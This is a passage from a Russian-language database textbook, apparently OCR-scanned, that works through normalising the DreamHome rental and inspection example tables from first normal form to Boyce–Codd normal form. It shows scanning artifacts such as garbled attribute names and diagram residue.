5 Novar Dr, Glasgow
1-Jan-96
10-Aug-96
450
CO93
Tony Shaw
В качестве ключевого атрибута ненормализованной таблицы Customerjtental (Клиенты-арендаторы) выберем атрибут Customer No (Номер клиента). Дальше найдем в ней группы сведений об объектах, которые могут повторяться у разных клиентов. Структура повторяющейся группы имеет следующий вид:
Повторяющаяся группа = (Property_No, Paddress, Rentstart, RentFinish,
’Rent, Owner_No, OName)
Из-за наличия этой повторяющейся группы на пересечении некоторых строк и столбцов таблицы находится сразу несколько значений. Например, два значения, PG4 и PG16, номера объекта (атрибут Property_No) присутствуют в строке клиента John Kay. Чтобы преобразовать ненормализованную таблицу в первую нормальную форму необходимо добиться того, чтобы на пересечении каждой строки и каждого столбца находилось единственное значение. Эта цель достигается путем устране- . ния повторяющихся групп.
При использовании первого подхода повторяющаяся группа (сведения об объекте недвижимости) устраняется с помощью ввода в каждую строку с описанием объекта недвижимости соответствующих сведений о клиенте. Полученное в результате этих действий отношение Customer_Rental, находящееся в первой нормальной форме, представлено в табл. 6.5. Потенциальные ключи этого отношения являются составными и включают следующие группы атрибутов: (Customer_No, Ргор- . erty_No), (Customer_No, Rentstart), (Property_No, Rentstart). В качестве первичного ключа этого отношения выберем группу (Customer_No, Property_No) и для большей ясности разместим атрибуты данного первичного ключа рядом, с левой стороны отношения. (В нашем примере предполагается, что атрибут RentFinish не может быть использован в качестве компонента потенциального ключа.)
' Таблица 6.5. Первая нормальная форма (1 НФ) отношения Customerjtental
Customer No
Property No
CName
PAddress ,
Rentstart
RentFinish
Rent
Owner No
OName
CR76
PG4
John Kay
6 Lawrence
St, Glasgow
1-Jul-94
31-Aug-96
350
CO40
Tina
Murphy
CR76
PG16
John Kay
5 Novar Dr, Glasgow
1 -Sep-96
1 -Sep-98
450
CO93
Tony Shaw
CR56
PG4
Aline Stewart
6 Lawrence
St, Glasgow
1-Sep-92
10-Jun-94
350
CO40
Tina Murphy
Окончание табл 6.5
Customer, No
Property, No
CName
PAddress
RentStart
RentHnish
. Rent
Owner No
OName
CR56
PG36
Aline
Stewart
2 Manor Rd, Glasgow
10-Oct-94
1-Dec-95
375
CO93
Tony Shaw
CR56
*PG16
Aline Stewart
5 Novar Dr, Glasgow
1-Jan-96
10-Aug-96
450
0093
Tony Shaw
Отношение Customer_Rental определяется следующим образом:
Customer Rental (Customer No, Property_No, CName, PAddress, Rentstart, RentFinish, Rent, Owner No, OName)
Отношение Customer Rental находится в первой нормальной форме, поскольку на пересечении каждой строки и каждого столбца имеется единственное значение. Это отношение содержит данные о клиентах, арендованных объектах недвижимости и их владельцах, которые несколько раз повторяются. Таким образом, отношение Cus- tomer_Rental характеризуется значительной избыточностью данных. При физической реализации это 1НФ-отношение будет подвержено аномалиям обновления, описанным в разделе 6.2. Во избежание этого данное отношение нужно преобразовать во вторую нормальную форму, как описывается в следующем разделе.
При использовании второго подхода повторяющаяся группа (сведения об арендованных объектах недвижимости) удаляется из данного отношения и помещается в другое отношение вместе с копией исходного ключевого атрибута (Customer_No), как показано в табл. 6.7. (Остаток исходного отношения представлен в табл. 6.6.) Затем для нового отношения выбирается собственный первичный ключ. Формат двух вновь созданных 1НФ-отношений будет следующим:
Customer(Customer No, CName)
Prop Rental Owner (Customer_No, Property__No, PAddress, Rentstart, RentFinish, Rent, Owner No, OName)
Таблица 6.6. Альтернативное представление первой нормальной формы (1НФ) - отношение Customer
Customer_NoCName
CR76John Kay
CR56 Aline Stewart
Таблица 6.7. Альтернативное представление первой нормальной формы (1НФ) - отношение Prop_Rental_Owner
Customer No
Property
No “
PAddress
Rentstart
RentHnish
Rent
Owner No "
OName
CR76
PG4
6 Lawrence
St, Glasgow
1-Jul-94
31-Aug-96
350
0040
Tina Murphy
CR76
PG16
5 Novar Dr, Glasgow
1-Sep-96
1-Sep-98
450
0093
Tony Shaw
CR56
PG4
6 Lawrence
St, Glasgow
1-Sep-92
10-Jun-94
350
0040
Tina Murphy
CR56
PG36
2 Manor Rd, Glasgow
10-Oct-94
1-Dec-95
375
0093
Tony Shaw
CR56
PG16
5 Novar Dr, Glasgow
1-Jan-96
10-Aug-96
450
0093
Tony Shaw
Оба отношения — и Customer, и Prop_Rental_Owner — находятся в первой нормальной форме, поскольку на пересечении каждой строки и каждого столбца находится единственное значение. Отношение Customer содержит данные о клиентах, а отношение Prop_Rental_Owner — об арендованных объектах недвижимости и их владельцах. Однако, как видно из табл. 6.7, последнее отношение также обладает некоторой избыточностью данных, а потому может пострадать от аномалий обновления, описанных в разделе 6.3.
Для демонстрации дальнейшего процесса нормализации отношений с переходом от 1НФ к 2НФ будет использоваться только отношение Customer_Rental, представленное в табл. 6.5. Однако следует еще раз напомнить, что оба приведенных подхода корректны и в конечном итоге — при продолжении процесса нормализации вплоть до НФБК — приведут к созданию одинаковых отношений. Читателю предлагается самостоятельно выполнить дальнейшую нормализацию отношений Customer и Prop_Rental^Owner.
Вторая нормальная форма (2НФ)
Вторая нормальная форма (2НФ) основана на понятии полной функциональной зависимости, которая описывается ниже.
Полная функциональная зависимость
ПолнаяВ некотором отношении атрибут В называется полностью функ-
функциональная ционально зависимым от атрибута А, если атрибут В функцио- зависимость нально зависит от полного значения атрибута А и не зависит ни от какого подмножества полного значения атрибута А.
Функциональная зависимость А->В является полной функциональной зависимостью, если удаление какого-либо атрибута из А приводит к утрате этой зависимости. Частичной функциональной зависимостью называется такая зависимость А-»В, если в А есть некий атрибут, при удалении которого эта зависимость сохраняется.
Например, рассмотрим следующую функциональную зависимость:
Staff_No, SName -> Branch_No
Здесь каждая пара значений (Staff_Nor SName) связана с единственным значением Branch No. Однако эта функциональная зависимость не является полной, поскольку Branch_No также функционально зависит от подмножества (StaffNo, SName), т.е. от атрибута Staff_No. Другие примеры полной и частичной функциональной зависимостей описываются в следующих разделах.
Определение второй нормальной формы
Вторая нормальная форма применяется к отношениям с составными ключами, т.е. к таким отношениям, первичный ключ которых состоит из двух или больше атрибутов. Дело в том, что отношение с первичным ключом на основе единственного атрибута всегда находится, по крайней мере, в 2НФ. Отношение, которое не находится в 2НФ, может страдать от аномалий обновления, рассматривавшихся в разделе 6.2. Например, предположим, что необходимо изменить арендную плату для объекта недвижимости с номером 'PG4'. Для этого потребуется обновить две строки отношения Customer_Rental. Если значение арендной платы будет обновлено только в одной строке, то в результате база данных будет приведена в противоречивое состояние.
Вторая нормальная форма (2НФ)Вторая нормальная форма (2НФ)Отношение, которое находится в первой нормальной форме и каждый атрибут которого, не входящий в состав первичного ключа, характеризуется полной функциональной зависимостью от этого первичного ключа.
Вторая нормальная форма (2НФ)
Вторая нормальная форма (2НФ)
Нормализация 1НФ-отношений с образованием 2НФ-отношений включает устранение частичных зависимостей, что демонстрируется на примере отношения Customer Jemoval, представленного в табл. 6.5. Если в отношении между атрибутами существует частичная зависимость, то функционально-зависимые атрибуты удаляются из него и помещаются в новое отношение вместе с копией их детерминанта.
Пример 6.4. Вторая нормальная форма (2Нф)
На рис. 6.5 показаны функциональные зависимости (от fdl до fd6) для отношения Customer Rental с парой атрибутов (Customer No, Property No) в качестве первичного ключа. Отношение Customer_Rental обладает следующими функциональными зависимостями:
Первичный ключЧастичная зависимостьПервичный ключЧастичная зависимостьfdlCustomer Jo, Property Jo —> Rentstart, RentFinish
Первичный ключ
Частичная зависимость
Первичный ключ
Частичная зависимость
fd2 Customer No -> Cname
fd3Property Jo -> PAddress, Rent, Owner Jo, ONameЧастичная зависимость
fd4Owner Jo -> ONameТранзитивная зависи
мость
fd5Customer Jo, Rentstart -» Propertyjo, PAddress, Rent- Потенциальный ключ
Finish, Rent, Owner Jo, OName
fd6 Propertyjo, Rentstart -> Customer Jo, CName, RentFinish Потенциальный ключ
Первичный ключ
Customer_Nc
Property_No
CName
PAddress
Rentstart
RentFinish
Rent
Owner^No
OName
«1 I I t f ЖГЫЙ
1А (Зависимость
I1 от части ключа)
IАА АА (Зависимость
I1111 от части ключа)
td4 IА (Транзитивная
I1 зависимость)
И5 | ff| f t t ^(Погенииальны,
M6 f | f|f (Потенциальный
Рис. 6.5. Функциональные зависимости отношения Property_Rental
После выявления функциональных зависимостей процесс нормализации отношения CustomerJental продолжается проверкой его принадлежности ко второй нормальной форме. Для этого требуется найти хотя бы один случай частичной зависимости от первичного ключа. Нетрудно заметить, что атрибут имени клиента CName частично зависит от первичного Ключа, иначе говоря, он зависит только от атрибута Customer Jo (эта зависимость представлена выше как fd2). Кроме того, атрибуты объекта недвижимости (PAddress, Rent, Ownerjo, OName) также частично зависят от первичного ключа, но на этот раз только от атрибута Property Jo (эта за* висимость представлена выше как fd3). В свою очередь, атрибуты арендованных
объектов недвижимости (Rentstart и RentFinish) полностью функционально зависят от первичного ключа в целом, т.е. от атрибутов Customer_No и Property_No (эта зависимость представлена выше как fdl).
Обратите внимание на то, что на рис. 6.5 показано наличие транзитивной зависимости (transitive dependence) от первичного ключа (эта зависимость представлена выше как fd4). Хотя транзитивная зависимость также может послужить причиной аномалий обновления, тем не менее ее присутствие в отношении не нарушает ограничений для 2НФ. Такие зависимости будут устранены при переходе к ЗНФ.
Обнаружение частичных зависимостей внутри отношения Customer_Rental обозначает, что данное отношение не находится во второй нормальной форме. Для преобразования отношения Customer_Rental в 2НФ необходимо создать новые отношения, причем так, чтобы атрибуты, не входящие в первичный ключ, были перемещены в них вместе с копией части первичного ключа, от которой они функционально зависят. Применение этого правила в нашем случае приведет к созданию трех новых отношений — Customer, Rental и Property_Owner, которые представлены в табл. 6.8, 6.9 и 6.10 соответственно. Теперь этих три отношения находятся во второй нормальной форме, поскольку каждый атрибут, не входящий в первичный ключ, полностью функционально зависит от первичного ключа отношения. Эти отношения имеют следующий вид:
Customer (Customer No, CName)
Rental (Customer No, Property No, Rentstart, RentFinish)
Property_Owner (Property No, PAddress, Rent, Owner_No, OName)
Таблица 6.8. Отношение Customer
CustomerNo
CName
CR76
John Kay
CR56
Aline Stewart
Таблица 6.9. Отношение Rental
Customer_No
PropertyNo
Rentstart
RentFinish
CR76
PG4
1-Jul-94
31-Aug-96
CR76
PG16
1-Sep-96
1-Sep-98
CR56
PG4
1-Sep-92
10-Jun-94
CR56
PG36
10-Oct-94
1-Dec-95
CR56
PG16
1-Jan-96
10-Aug-96
Таблица 6.10.
Отношение Property_Owner
Property_No
PAddress
Rent
Owner_NoOName
PG4
6 Lawrence St, Glasgow
350
CO40Tina Murphy
PG16
5 Novar Dr, Glasgow
450
CO93Tony Shaw
PG36
2 Manor Rd, Glasgow
375
CO93Tony Shaw
Третья нормальная форма (ЗНФ)
Хотя 2НФ-отношения в меньшей степени обладают избыточностью данных, чем 1НФ-отношения, они все еще могут страдать от аномалий обновления. Так, при попытке обновления имени владельца недвижимости (например, Tony Shaw с номером СО93 (атрибут Owner_No)) потребуется обновить две строки отношения Ргор- erty_Owner, представленного в табл. 6.10. Если обновить только одну из этих двух строк, база данных попадет в противоречивое состояние. Эта аномалия обновления вызывается транзитивной зависимостью, присутствующей в данном отношении. Она может быть устранена путем приведения данного отношения к третьей нормальной форме. В этом разделе транзитивные зависимости рассматриваются вместе с третьей нормальной формой.
Транзитивная зависимость
Транзитивная Если для атрибутов А, В и С некоторого отношения существуют за- зависимость висимости вида А->В и В-»С, то говорят, что атрибут С транзитивно зависит от атрибута А через атрибут В (при условии, что атрибут А функционально не зависит ни от атрибута В, ни от атрибута С).
Транзитивная зависимость является описанием такого типа функциональной зависимости, которая возникает при наличии следующих функциональных зависимостей между атрибутами А, В и С:
А—>В и В^С.
В данном случае транзитивная зависимость А—>С осуществляется через атрибут В. Это утверждение справедливо только в том случае, если атрибут А функционально не зависит от атрибутов В и С. Например, рассмотрим следующие функциональные зависимости внутри отношения Staff_Branch, представленного в табл. 6.3.
Staff_No -» Branch_No и Branch_No -> BAddress
В этом случае транзитивная зависимость Staff_No —> BAddress осуществляется через атрибут Branch_No. Данное утверждение справедливо, поскольку атрибут Staff_No не зависит функционально от атрибутов Branch_No и BAddress. Другие примеры транзитивных зависимостей приводятся в следующих разделах.
Определение третьей нормальной формы
Третья
Отношение, которое находится в
первой и второй нормальных
нормальная
формах и не имеет не входящих
в первичный ключ атрибутов,
форма (ЗНФ)
которые находились бы в транзитивной функциональной зависимости от этого первичного ключа.
Нормализация 2НФ-отношений с образованием ЗНФ-отношений включает устранение транзитивных зависимостей. Если в отношении существует транзитивная зависимость между атрибутами, в таком случае транзитивно-зависимые атрибуты удаляются из него и помещаются в новое отношение вместе с копией их детерминанта.
. Пример 6.5. Третья нормальная форма (ЗНФ)
Сначала рассмотрим функциональные зависимости, существующие в отношениях Customer, Rental и Property_Owner.
Отношение Customer
fd2Customer No —> CName
Отношение Rental
fdlCustomer_No,Property_No -> Rentstart,RentFinish
fd5*Customer^No,Rentstart —> Proper ty__No,RentFinish
fd6*Property No,Rentstart —> Customer^No,RentFinish
Отношение Property owner
fd3Property_No —» PAddress, Rent, Owner_No, OName
fd4Owner No OName
Все не входящие в первичный ключ атрибуты отношений Customer и Rental функционально зависимы только от их первичных ключей. Следовательно, отношения Customer и Rental не имеют транзитивных зависимостей, а потому они уже находятся в третьей нормальной форме (ЗНФ). (Обратите внимание на то, что обозначения некоторых функциональных зависимостей (fd) помечены звездочкой (*), что означает изменение этой зависимости (по сравнению с исходной функциональной зависимостью).)
Все не входящие в первичный ключ атрибуты отношения Property_Owner функционально зависят от первичного ключа, за исключением атрибута OName, который также зависит и от атрибута Owner No (зависимость fd4). Это типичный пример транзитивной зависимости, которая имеет место при наличии зависимости не входящего в первичный ключ атрибута (OName) от одного или нескольких других атрибутов, также не входящих в первичный ключ (Owner No). Данная транзитивная зависимость схематически показана на рис. 6.5.
Для преобразования отношения Property_Owner в третью нормальную форму необходимо прежде всего удалить упомянутую выше транзитивную зависимость путем создания двух новых отношений Property_for_Rent и Owner, которые представлены в табл. 6.11 и 6.12 соответственно. Новые отношения имеют следующий вид:
Property_for_Rent (Property No, PAddress, Rent, Owner_No)
Owner (Owner No, OName)
Таблица 6.11. Отношение Property^f or_Rent в третьей нормальной форме
PropertyNo
PAddress
Rent
OwnerNo
PG4
6 Lawrence St, Glasgow
350
CO40
PG16
5 Novar Dr, Glasgow
450
CO93
PG36
2 Manor Rd, Glasgow
375
CO93
Таблица 6.12. Отношение Owner в третьей нормальной форме
Owner.NoOName
0040Tina Murphy
0093Tony Shaw
Отношения Property_for_Rent и Owner находятся в третьей нормальной форме, поскольку в них нет никаких транзитивных зависимостей от первичного ключа.
В результате выполнения нормализации представленное в табл. 6.5 исходное отношение Customer Rental было преобразовано в четыре отдельных отношения, каждое из которых находится в третьей нормальной форме. На рис. 6.6 приведена схема данного процесса, поясняющая, как 1НФ-отношение было преобразовано в четыре ЗНФ-отношения, имеющие следующий вид:
Customer(Customer_No,CName)
Rental(Customer_No,Property_No,Rentstart,RentFinish)
Property_for_Rent (Property_No,PAddress,Rent,Owner_No)
Owner(Owner_No, OName)
Исходное отношение Customer_Rental, представленное в табл. 6.5, может быть восстановлено путем соединения отношений Customer, Rental, Property_for_Rent и Owner. Данная цель достигается за счет использования первичных и внешних ключей. Например, атрибут Owner__No является первичным ключом отношения Owner и, кроме того, присутствует в отношении Property_for_Rent как его внешний ключ. Атрибут Owner No, используемый для создания пары из первичного и внешнего ключей, позволяет связать отношения Property_for_Rent и Owner с целью определения имен владельцев объектов недвижимости, сдаваемых в аренду.
1НФ1НФОтношениеCustomerJRental
1НФ
1НФ
2НФ2НФ▼ОтношениеCustomer▼ОтношениеCustomerОтношениеRentalОтношениеRentalОтношение Property-OwnerОтношение Property-OwnerОтношение OwnerОтношение OwnerОтношениеProperty_for_RentОтношениеProperty_for_RentЗНФЗНФ
2НФ
2НФ
▼
ОтношениеCustomer
▼
ОтношениеCustomer
ОтношениеRental
ОтношениеRental
Отношение Property-Owner
Отношение Property-Owner
Отношение Owner
Отношение Owner
ОтношениеProperty_for_Rent
ОтношениеProperty_for_Rent
ЗНФ
ЗНФ
Рис. 6.6. Схема декомпозиции 1НФ-отношения Customer_Rental на четыре отношения в третьей нормальной форме
Атрибут Customer_No является первичным ключом отношения Customer и, дополнительно, внешним ключом отношения Rental. Обратите внимание на то, что в отношении Rental атрибут Customer_No выполняет функции как внешнего, так и части первичного ключа. Аналогичным образом, атрибут Property^No является первичным ключом отношения Property_for_Rent и, дополнительно, в отношении Rental выполняет функции как внешнего ключа, так и части первичного ключа.
Иначе говоря, процесс нормализации заключается в декомпозиции исходного отношения Customer_Rental посредством последовательного выполнения нескольких операций проекции реляционной алгебры (см. раздел 3.4). Полученные в результате декомпозиции отношения обеспечивают выполнение их соединения без потерь, поэтому данную процедуру иначе называют беспроигрышной (nonloss) (или неаддитивной (nonadditive)) декомпозицией. Результаты декомпозиции можно обратить посредством операции естественного соединения.
Окончательный вид отношений Customer, Rental, Property_for_Rent и Owner, полученных в результате декомпозиции, представлен в табл. 6.13, 6.14, 6.15 и 6.16 соответственно.
Таблица 6.13. Отношение Customer
CustomerNo
CName
CR76
John Kay
CR56
Aline Stewart
Таблица 6.14. Отношение Rental
CustomerJ\lo
Property_No
Rentstart
RentFinish
CR76
PG4
1-Jul-94
31-Aug-96
CR76
PG16
1-Sep-96
1 -Sep-98
CR56
PG4
1 -Sep-92
10-Jun-94
CR56
PG36
10-Oct-94
1-Dec-95
CR56
PG16
1 -Jan-96
10-Aug-96
Таблица 6.15. Отношение Property_for_Rent
PropertyNo
PAddress
Rent
Owner_No
PG4
6 Lawrence St, Glasgow
350
CO40
PG16
5 Novar Dr, Glasgow
450
CO93
PG36
2 Manor Rd, Glasgow
375
CO93
Таблица 6.16. Отношение Owner
OwnerNo
OName
С04О
Tina Murphy
СО93
Tony Shaw
Нормальная форма Бойса-Кодда (НфБК)
Отношения базы данных проектируются таким образом, чтобы исключить в них присутствие частичных или транзитивных зависимостей, поскольку эти зависимости приводят к появлению аномалий обновления, рассмотренных в разделе 6.2. До сих пор мы использовали определения второй и третьей нормальных форм, для получения которых требуется найти и исключить частичные и транзитивные зависимости от первичного ключа. Однако в этих определениях не рассматриваются такие же зависимости от потенциальных ключей отношения, если таковые имеются.
Определение нормальной формы Бойса-Кодда
Нормальная форма Бойса-Кодда (НФБК) учитывает функциональные зависимости, в которых участвуют все потенциальные ключи отношения, а не только его первичный ключ. Для отношения с единственным потенциальным ключом его ЗНФ и НФБК являются эквивалентными.
Нормальная Отношение находится в НФБК тогда и только тогда, когда ка- форма Бойса- ждый его детерминант является потенциальным ключом.
Кодда (НФБК)
Для проверки принадлежности отношения к НФБК необходимо найти все его детерминанты и убедиться в том, что они являются потенциальными ключами. Напомним, что детерминантом является один атрибут или группа атрибутов, от которой полностью функционально зависит другой атрибут.
Различие между ЗНФ и НФБК заключается в том, что функциональная зависимость А—>В допускается в ЗНФ-отношении, если атрибут В является первичным ключом, а атрибут А не обязательно является потенциальным ключом. Тогда как в НФБК-отношении эта зависимость допускается только тогда, когда атрибут А является потенциальным ключом. Следовательно нормальная форма Бойса-Кодда является жесткой версией формы ЗНФ, поскольку каждое НФБК-отношение является ЗНФ- отношением, но не всякое ЗНФ-отношение является НФБК-отношением.
Перед тем как обратиться к очередному примеру, еще раз рассмотрим отношения Customer, Rental, Property_for__Rent и Owner, представленные в табл. 6.13-6.16. Отношения Customer, Property_forjtent и Owner являются НФБК-отношениями, так как каждое из них имеет только один детерминант, который в то же время является потенциальным ключом этого отношения. Тут следует напомнить, что отношение Rental содержит три детерминанта — (Customer_No, Property_No), (Customer_No, Rentstart) и (PropertyJto, Rentstart), — которые были выявлены нами в примере 6.5 и имеют вид, показанный ниже.
fdl Customer_No, Property_No->RentStart, RentFinish
fd5* Customer_No, RentStart-»Property^Noz RentFinish
fd6* Property_No, Rentstart—>CustomerJto, RentFinish
Поскольку этих три детерминанта отношения Rental являются также потенциальными ключами, то отношение Rental находится в НФБК. Нарушения требований НФБК происходят крайне редко, поскольку это может случиться только тогда, когда:
имеются два (или более) составных потенциальных ключа;
эти потенциальные ключи перекрываются, т.е. ими совместно используется, по крайней мере, один общий атрибут.
В следующем примере описывается ситуация, когда отношение нарушает требования НФБК, и представлен метод преобразования этого отношения в НФБК.
Пример 6.6. Нормальная форма Бойса-Кодда (НФБК) ■_
В этом примере мы рассмотрим отношение Client Interview, которое содержит сведения о собеседованиях клиентов с сотрудниками компании DreamHome. Для про- ' ведения собеседования в тот день, на который назначена встреча с клиентом, в распоряжение сотрудника предоставляется особая комната. Однако в течение рабочего дня эта комната может использоваться несколькими разными сотрудниками. С клиентом проводится только одно собеседование в день, но он может участвовать в нескольких собеседованиях в разные дни. Обсуждаемое отношение имеет три потенциальных ключа: (Client No, Interview Date), (Staff No, Interview Date, > Interview Time) и (Room No, Interview Date, Interview Time). Следовательно, отношение Client Interview обладает тремя составными потенциальными ключами, которые перекрываются, т.е. ими совместно используется один общий атрибут — Interview Date. В качестве первичного ключа данного отношения выбрана комбинация атрибутов (Client No, Interview Date). Это отношение представлено в табл. 6.17 и имеет следующий вид:
Client^Interview (Client No, Interview Date. Interview JTime, Staff_No, Room_No)
Таблица 6.17. Отношение Client_Interview
Client.No
Interview.Date
lnterview_Time
Staff.No
Room.No
CR76
13-Мау-98
10.30
SG5
G101
CR56
13-Мау-98
12.00
SG5
G101
CR74
13-Мау-98
12.00
SG37
G102
CR56
1-Jul-98
10.30
SG5
G102
Оно содержит следующие функциональные зависимости:
fdl Client_No, Interview_Date -> Interview_Time, Staff__No, Roomjto Первичный ключ fd2 staff^No, Interview_Date, Interview_Time Client_No Потенциальный ключ fd3 Roomjto, Interview^Date, InterviewJTime -> StaffJto, CllentJto Потенциальный ключ fd4 staff Jto, Interview^Date —> Roomjto
Рассмотрим эти функциональные зависимости для определения нормальной формы отношения Client_Interview. Поскольку функциональные зависимости fdl, fd2 и fd3 являются потенциальными ключами этого отношения, то они не вызовут никаких проблем. Нам потребуется рассмотреть только функциональную зависимость Staff Jto, Interview_Date -> Roomjto (зависимость fd4). Даже если комбинация атрибутов (Staff Jto, Interview J)ate) не является потенциальным ключом отношения Client_Interview, эта функциональная зависимость допускается в ЗНФ, потому что атрибут Roomjto является атрибутом первичного ключа и частью потенциального ключа (Roomjto, Interview_Date, InterviewJTime). Поскольку в этом отношении нет никаких частичных или транзитивных зависимостей от первичного ключа (Client Jto, Interview J)ate) и допускается наличие функциональной зависимости fd4, можно считать, что отношение Client_Interview находится в ЗНФ.
Однако это отношение не находится в НФБК (более строгий вариант ЗНФ), так как в нем присутствует детерминант (StaffJto, Interview_Date), который не является потенциальным ключом этого отношения. В НФБК требуется, чтобы все детерминанты отношения были его потенциальными ключами. В противном случае отношение Client-Interview может страдать от аномалий обновления. Например, 13 мая 1998 года (значение ЧЗ-Мау-98') при изменении номера комнаты, выделенной сотруднику 'SG5', потребуется обновить значения в двух строках. Если при этом будет обновлена только одна строка, то база данных будет приведена в противоречивое состояние.
Для преобразования отношения Client-Interview в форму НФБК необходимо устранить нарушающую ее ограничения функциональную зависимость посредством создания двух новых отношений — Interview и Staff_Room, — представленных в табл. 6.18 и 6.19 соответственно. Отношения Interview и Staff_Room имеют следующий вид:
Interview (Client_No. Interview.Date, Interviewjime, Staff_No)
Staff_Room (StafOfl. IntenifiW-PatS. Room_No)
Таблица 6.18. Отношение Interview в НФБК
Client.No
Interview.Date
InterviewJime
Staff.No
CR76
13-May-98
10.30
SG5
CR56
13-May-98
12.00
SG5
CR74
13-May-98
12.00
SG37
CR56
1-Jul-98
10.30
SG5
Таблица 6.19. Отношение Staff Room в НфБК
Staff.No
lnterview_Date
Room_No•
SG5
13-Мау-98
G101
SG37
13-Мау-98
G102
SG5
1-Jul-98
G102
Любое отношение, которое не находится в НФБК, можно декомпозировать с образованием НФБК-отношений, однако делать это не всегда желательно. Например, декомпозиция будет нежелательна, если в результате ее выполнения утрачивается некоторая функциональная зависимость (т.е. детерминант и определяемые им атрибуты помещаются в разные отношения). В этой ситуации будет трудно обеспечить исходную функциональную зависимость отношения и важное ограничение может быть утрачено. Если имеет место упомянутая ситуация, то лучше закончить процесс нормализации на этапе образования ЗНФ-отношений, в которых все требуемые зависимости всегда сохраняются. Обратите внимание на то, что в примере 6.6 при создании двух новых НФБК-отношений на основе исходного отношения Client_Interview утрачивается следующая функциональная зависимость: Room_No, Interview_Datef In- terview_Time —> Staff_No, Client No (зависимость fd3), поскольку детерминант этой зависимости больше не будет находиться в том же отношении, что и определяемые им атрибуты. Однако следует признать, что если не устранить функциональную зависимость Staff_No, Interview_Date —> Room_No (зависимость fd4), то отношение Client-Interview будет обладать избыточностью данных.
Обзор процесса нормализации (от 1 НФ до НФБК)
Основная цель этого раздела — представить краткий обзор всего процесса нормализации, который был подробно описан в предыдущих разделах. В качестве иллюстрации воспользуемся еще одним примером из учебного проекта DreamHome, что позволит нам еще раз внимательно изучить весь процесс преобразования ненормализованных данных, вплоть до приведения их к нормальной форме Бойса-Кодда.
Пример 6.7. Нормализация от первой нормальной формы до нормальной формы Бойса-Кодда (НфБК)
Компания DreamHome выполняет операции с объектами недвижимости по поручению их владельцев. Как часть этой деятельности, предусматриваются регулярные проверки состояния объектов недвижимости, выполняемые сотрудниками компании. Для проведения таких проверок в назначенный день сотруднику компании предоставляется автомобиль. Причем в течение дня один автомобиль может предоставляться нескольким сотрудникам. Сотрудник может провести несколько проверок в один день, однако любой объект недвижимости в течение дня может проверяться только один раз. На рис. 6.7 показан пример страницы отчета “Property Inspection Report” из учебного проекта DreamHome, содержащего сведения о выполненных проверках состояния объектов недвижимости. В данном случае отчет содержит сведения о проверках объекта недвижимости под номером 'PG4'. (Отметим, что приведенный на рис. 6.7 вариант отчета является упрощенной версией отчета “Property Inspection Report” из учебного проекта DreamHome, описанного в разделе 1.7.)
Первая нормальная форма (1НФ)
Сначала мы преобразуем в формат таблицы со строками и столбцами некоторые данные, выбранные из двух отчетов о проверке объектов недвижимости под номерами 'PG4' и 'PG16'. Полученной ненормализованной таблице присвоим имя Prop- erty_Inspection — ее содержимое представлено в табл. 6.20. В качестве ключа для этой ненормализованной таблицы выберем атрибут Property_No.
Раде 1
DreamHome
Property Inspection Report
Dat
e 1-Oct-98
Property Number PG4Property Address 6 Lawrence St,
Glasgow
Inspection Date
Inspection Time
Comments
Staff
Number
Staff Name
Car Reg
18-Oct-96
10.00
Need to replace crockery
SG37
Ann Be^ch
M231 JGR
22-Apr-97
09.00
In good order
SG14
David Ford
M533HDR
1-Oct-98
12.00
Damp rot in bathroom
SG14
David Ford
N721 HFR
Рис. 6.7. Отчет “Property Inspection Report*’ из учебного проекта DreamHome
Таблица 6.20. Ненормализованная таблица Property_Inspection
Property-
No "
PAddress
I Date
ITime
Comments
Stuff_No "
SName
CarReg
PG4 •
6 Lawrence
18-
10.00 '
Need to replace
SG37
Ann Beech
M231 JGR
St, Glasgow
Oct-96
crockery (Требуется замена посуды)
22-Apr-
09.00
In good order (B
SG14
David Ford
M533 HDR
97
хорошем состоянии)
1-Oct-
12.00
Damp rot in
SG14
David Ford
N721 HFR
98
bathroom (Устранить плесень в ванной комнате)
PG16
5 Novar Dr,
22-Apr-
13.00
Replace living
SG14
David Ford
M533 HDR
Glasgow
96
room carpet (Заменить ковер в гостиной)
•
24-Oct-
14.00
Good condition (В
SG37
Ann Beech
N721 HFR
97
хорошем состоянии)
В этой ненормализованной таблице легко можно обнаружить повторяющуюся группу со сведениями о проверке объекта недвижимости и сотрудниках, которые их проводили. Структура повторяющейся группы выглядит так, как показано ниже.
Повторяющаяся группа = (IDate, ITime, Comments, Staff_No, SName, Car_Reg)
В результате этого на пересечении строки и столбца можно найти сразу несколько значений. Например, для одного значения атрибута Property No ('PG4') приводятся сразу три значения атрибута IDate (' 18-Oct-96', '22-Apr-97', 'l-Oct-98')- Необходимо преобразовать ненормализованную таблицу в первую нормальную форму, для чего воспользуемся первым подходом, описанным в разделе 6.5. В соответствии с этим подходом устранение повторяющихся групп (сведения о проверке объекта недвижимости и сотрудниках) будет осуществляться посредством ввода в каждую строку требуемых сведений об объектах недвижимости (неповторяющиеся данные). В результате этих действий будет получена первая нормальная форма отношения Property Inspection, представленная в табл. 6.21.
Таблица 6.21. Отношение Property_Inspection в первой нормальной форме
Property No
IDate
ITime
PAddress
Comments
Stuff.No
SName
Car.Reg
PG4
18-Oct-96
10.00
6 Lawrence
St, Glasgow
Need to replace crockery
SG37
Ann Beech
M231 JGR
PG4
22-Apr-97
09.00
6 Lawrence
St, Glasgow
In good order
SG14
David Ford
M533 HDR
PG4
1-Oct-98
12.00
6 Lawrence
St, Glasgow
Damp rot in bathroom
SG14
David Ford
N721 HFR
PG16
22-Apr-96
13.00
5 Novar Dr, Glasgow
Replace living room carpet
SG14
David Ford
M533 HDR
PG16
24-Oct-97
14.00
5 Novar Dr, Glasgow
Good condition
SG37
Ann Beech
N721 HFR
Отношение Property_Inspection имеет три потенциальных ключа: (Property_No, IDate), ; (Staff_No, IDate, ITime) и (Car_Reg, IDate, ITime). В качестве первичного ключа этого , отношения выбрана комбинация атрибутов (Property_No, IDate). Для большей ясности разместим рядом атрибуты, образующие первичный ключ, причем с левой стороны отношения. Отношение Property_Inspection определяется следующим образом:
Property_Inspection (Property No, IDate, ITime, PAddress, Comments, Staff_No, SName, Car_Reg)
Отношение Property_Inspection находится в первой нормальной форме, поскольку на пересечении каждой строки и каждого столбца находится только одно значение. Это отношение содержит данные о проверке объектов недвижимости, причем сведения об объекте недвижимости и сотрудниках повторяются в них по нескольку раз. В результате отношение Property_Inspection характеризуется значительной s избыточностью данных. Кроме того, при использовании на практике это 1НФ- отношение будет подвержено аномалиям обновления. Для устранения некоторых из них необходимо преобразовать данное отношение во вторую нормальную форму.
Вторая нормальная форма (2Нф)
